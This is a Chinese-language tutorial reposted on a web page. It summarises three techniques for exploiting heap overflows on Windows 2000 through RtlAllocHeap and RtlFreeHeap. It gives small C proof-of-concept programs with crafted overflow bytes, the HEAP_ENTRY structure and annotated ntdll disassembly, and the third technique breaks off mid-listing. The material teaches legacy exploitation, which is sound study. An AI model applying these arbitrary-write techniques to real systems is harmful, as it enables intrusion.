我要投稿
  • 您当前的位置:365bet官方 -> 技术教程 -> 操作系统教程 -> Win2003NT教程 -> 教程内容
  • [ 收藏本页教程 ]
  • 总结windows下堆溢出的三种利用方式

    教程作者:佚名    教程来源:不详   教程栏目:Win2003NT教程    收藏本页
    总结windows下堆溢出的三种利用方式
    1.利用RtlAllocHeap
    这是ISNO提到的,看这个例子

    main (int argc, char *argv[])
    {
    char *buf1, *buf2;
    char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";

    buf1 = (char*)malloc (32); /* 分配两块内存 */
    memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

    buf2 = (char*)malloc (16);

    free (buf1);
    free (buf2);

    return 0;
    }

    在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

    buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

    在给buf2完成malloc之后,buf1指向的内存分配情况是这样

    buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

    现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
    下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
    共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

    001B:77FCC453 8901 MOV [ECX],EAX
    001B:77FCC455 894804 MOV [EAX+04],ECX

    此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

    2.利用RtlFreeHeap的方式一
    这是ilsy提到的,看例子

    main (int argc, char *argv[])
    {
    char *buf1, *buf2;
    char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";

    buf1 = (char*)malloc (32); /* 分配两块内存 */
    buf2 = (char*)malloc (16);

    memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

    free (buf1);
    free (buf2);

    return 0;
    }

    由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

    先看看8字节管理结构的定义(从windows源码中找到)
    typedef struct _HEAP_ENTRY {

    //
    // This field gives the size of the current block in allocation
    // granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
    // equals the size in bytes).
    //
    // Except if this is part of a virtual alloc block then this
    // value is the difference between the commit size in the virtual
    // alloc entry and the what the user asked for.
    //

    USHORT Size;

    //
    // This field gives the size of the previous block in allocation
    // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
    // equals the size of the previous block in bytes).
    //

    USHORT PreviousSize;

    //
    // This field contains the index into the segment that controls
    // the memory for this block.
    //

    UCHAR SegmentIndex;

    //
    // This field contains various flag bits associated with this block.
    // Currently these are:
    //
    // 0x01 - HEAP_ENTRY_BUSY
    // 0x02 - HEAP_ENTRY_EXTRA_PRESENT
    // 0x04 - HEAP_ENTRY_FILL_PATTERN
    // 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
    // 0x10 - HEAP_ENTRY_LAST_ENTRY
    // 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
    // 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
    // 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
    //

    UCHAR Flags;

    //
    // This field contains the number of unused bytes at the end of this
    // block that were not actually allocated. Used to compute exact
    // size requested prior to rounding requested size to allocation
    // granularity. Also used for tail checking purposes.
    //

    UCHAR UnusedBytes;

    //
    // Small (8 bit) tag indexes can go here.
    //

    UCHAR SmallTagIndex;

    #if defined(_WIN64)
    ULONGLONG Reserved1;
    #endif

    } HEAP_ENTRY, *PHEAP_ENTRY;

    就是

    本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

    注意这里的size是实际大小进行8字节对齐后除以8的值
    可以看看flag的各个定义

    再看看RtlFreeHeap里面几个关键的地方

    关键点一
    001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag
    001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
    001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳
    001B:77FCC834 F6C207 TEST DL,07
    001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
    001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40
    001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳
    001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
    001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
    001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要
    001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
    001B:77FCC855 85C9 TEST ECX,ECX
    001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳

    关键点二
    001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
    001B:77FCC8A0 F6C301 TEST BL,01
    001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳
    001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
    001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
    001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
    001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
    001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳

    关键点三
    001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的
    001B:77FCBB4C 89759C MOV [EBP-64],ESI
    001B:77FCBB4F 8B06 MOV EAX,[ESI]
    001B:77FCBB51 894598 MOV [EBP-68],EAX
    001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
    001B:77FCBB57 897594 MOV [EBP-6C],ESI
    001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常

    我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

    的数据所指向的地址。我们可以控制这两个数据。
    可见第二种方式的前提有三个:
    1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
    2)构造堆的flag前面那个字节要比0x40小
    3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
    还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

    3.利用RtlFreeHeap的方式二

    这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
    看例子

    main (int argc, char *argv[])
    {
    char *buf1, *buf2;
    char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22";

    buf1 = (char*)malloc (32); /* 分配两块内存 */
    buf2 = (char*)malloc (16);

    memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

    free (buf1);
    free (buf2);

    return 0;
    }

    看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

    关键点一
    同方式二的关键点一,设法跳到关键点二

    关键点二
    001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
    001B:77FCC8A0 F6C301 TEST BL,01
    001B:77FCC8A3 750F JNZ 77FCC8B4
    001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
    001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
    001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
    001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
    001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里不能跳
    001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
    001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
    001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
    001B:77FCC8C8 7515 JNZ 77FCC8DF
    001B:77FCC8CA 6A00 PUSH 00
    001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
    001B:77FCC8CF 50 PUSH EAX
    001B:77FCC8D0 56 PUSH ESI
    001B:77FCC8D1 57 PUSH EDI
    001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 /
    我要投稿   -   广告合作   -   关于本站   -   友情连接   -   网站地图   -   联系我们   -   版权声明   -   设为首页   -   加入收藏   -   网站留言
    Copyright © 2009 - 20012 www.www.ct131.com All Rights Reserved.365bet官方 版权所有